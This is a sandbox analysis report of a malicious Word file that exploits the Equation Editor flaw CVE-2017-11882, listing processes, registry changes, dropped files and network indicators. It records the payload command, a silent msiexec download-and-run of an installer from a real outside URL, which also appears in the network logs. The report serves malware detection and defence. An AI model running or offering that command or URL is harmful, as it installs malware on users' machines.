| File name: | aee74807df9fa1312f400f28f6e2af9e.doc |
| Full analysis: | https://app.any.run/tasks/a0a47ded-2f25-4525-b36b-a97c10411a9f |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | February 18, 2019, 23:09:58 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
| File info: | Microsoft Word 2007+ |
| MD5: | AEE74807DF9FA1312F400F28F6E2AF9E |
| SHA1: | 8600580EA851024E5060D133596B67C9161AF13C |
| SHA256: | 993ACA30290295FEE5B4DA2C7973DCA6347DEE2CB24A6E1B161CDE0B809A996B |
| SSDEEP: | 3072:J7lL2mrdFADYhDFc8rpKSvNYbWRDzUyRBelYc3nTMSFm9d+tlKCwP:J7lCAdFkYhDFBxvqyRmTMSFmfSs |
MALICIOUS
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 284)
Uses Microsoft Installer as loader
- cmd.exe (PID: 2880)
Downloads executable files from the Internet
- msiexec.exe (PID: 2372)
SUSPICIOUS
Unusual connect from Microsoft Office
- WINWORD.EXE (PID: 2952)
Executable content was dropped or overwritten
- msiexec.exe (PID: 2372)
Drop ExeToMSI Application
- msiexec.exe (PID: 2372)
Starts CMD.EXE for commands execution
- EQNEDT32.EXE (PID: 284)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2952)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2952)
Application was crashed
- EQNEDT32.EXE (PID: 284)
Starts application with an unusual extension
- msiexec.exe (PID: 2372)
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 2372)
Application was dropped or rewritten from another process
- MSI63E9.tmp (PID: 2216)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .docx | | | Word Microsoft Office Open XML Format document (52.2) |
|---|---|---|
| .zip | | | Open Packaging Conventions container (38.8) |
| .zip | | | ZIP compressed archive (8.8) |
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0006 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 1980:01:01 00:00:00 |
| ZipCRC: | 0x2ea8411c |
| ZipCompressedSize: | 351 |
| ZipUncompressedSize: | 1364 |
| ZipFileName: | [Content_Types].xml |
XML
| Template: | template.dotx |
|---|---|
| TotalEditTime: | - |
| Pages: | 1 |
| Words: | - |
| Characters: | 1 |
| Application: | Microsoft Office Word |
| DocSecurity: | None |
| Lines: | 1 |
| Paragraphs: | 1 |
| ScaleCrop: | No |
| HeadingPairs: |
|
| TitlesOfParts: | - |
| Company: | - |
| LinksUpToDate: | No |
| CharactersWithSpaces: | 1 |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| AppVersion: | 15 |
| Keywords: | - |
| LastModifiedBy: | Richard |
| RevisionNumber: | 2 |
| CreateDate: | 2019:02:17 21:39:00Z |
| ModifyDate: | 2019:02:17 21:39:00Z |
XMP
| Title: | - |
|---|---|
| Subject: | - |
| Creator: | Windows User |
| Description: | - |
Total processes
40
Monitored processes
7
Malicious processes
1
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 284 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
| 2216 | "C:\Windows\Installer\MSI63E9.tmp" | C:\Windows\Installer\MSI63E9.tmp | — | msiexec.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2372 | C:\Windows\system32\msiexec.exe /V | C:\Windows\system32\msiexec.exe | services.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2612 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | — | svchost.exe | |||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
| 2880 | cmd.exe & /C CD C: & msiexec.exe /i http://amazonvietnampharma.com.vn/l/css/baba.msi /quiet | C:\Windows\system32\cmd.exe | — | EQNEDT32.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2952 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\aee74807df9fa1312f400f28f6e2af9e.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3380 | msiexec.exe /i http://amazonvietnampharma.com.vn/l/css/baba.msi /quiet | C:\Windows\system32\msiexec.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 526
Read events
1 057
Write events
458
Delete events
11
Modification events
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 2v/ |
Value: 32762F00880B0000010000000000000000000000 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1313996821 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1313996940 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1313996941 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 880B000078AB251BDFC7D40100000000 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | ;w/ |
Value: 3B772F00880B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | ;w/ |
Value: 3B772F00880B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
27
Text files
15
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2952 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR6A92.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2952 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\{CC0561E0-7164-44C6-9F13-272D979B6FA5} | — | |
MD5:— | SHA256:— | |||
| 2952 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B96929CE.jpeg | — | |
MD5:— | SHA256:— | |||
| 2952 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2952 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$e74807df9fa1312f400f28f6e2af9e.doc | pgc | |
MD5:— | SHA256:— | |||
| 2952 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-CNRY.FSD | binary | |
MD5:— | SHA256:— | |||
| 2952 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF-CTBL.FSF | binary | |
MD5:— | SHA256:— | |||
| 2952 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSF-{0E1EEE64-E8C6-4E2A-9759-63CF07FD8988}.FSF | binary | |
MD5:— | SHA256:— | |||
| 2372 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\~DFB4CEE2E773FB3033.TMP | — | |
MD5:— | SHA256:— | |||
| 2952 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{192F4391-1CD7-4A2D-9606-2D57D831C8E6}.FSD | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
5
DNS requests
1
Threats
4
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2952 | WINWORD.EXE | OPTIONS | 405 | 115.146.122.229:80 | http://amazonvietnampharma.com.vn/l/css/ | VN | html | 231 b | suspicious |
2952 | WINWORD.EXE | GET | 200 | 115.146.122.229:80 | http://amazonvietnampharma.com.vn/l/css/css.doc | VN | text | 56.4 Kb | suspicious |
980 | svchost.exe | OPTIONS | 405 | 115.146.122.229:80 | http://amazonvietnampharma.com.vn/ | VN | html | 225 b | suspicious |
2372 | msiexec.exe | GET | 200 | 115.146.122.229:80 | http://amazonvietnampharma.com.vn/l/css/baba.msi | VN | executable | 656 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2952 | WINWORD.EXE | 115.146.122.229:80 | amazonvietnampharma.com.vn | CMC Telecommunications Services Company | VN | suspicious |
2372 | msiexec.exe | 115.146.122.229:80 | amazonvietnampharma.com.vn | CMC Telecommunications Services Company | VN | suspicious |
980 | svchost.exe | 115.146.122.229:80 | amazonvietnampharma.com.vn | CMC Telecommunications Services Company | VN | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
amazonvietnampharma.com.vn |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2372 | msiexec.exe | Potential Corporate Privacy Violation | SUSPICIOUS [PTsecurity] Executable application_x-msi Download |
2372 | msiexec.exe | Potential Corporate Privacy Violation | POLICY [PTsecurity] Executable application_x-msi Download |
2372 | msiexec.exe | Misc activity | SUSPICIOUS [PTsecurity] Executable ExeToMSI Download |
1 ETPRO signatures available at the full report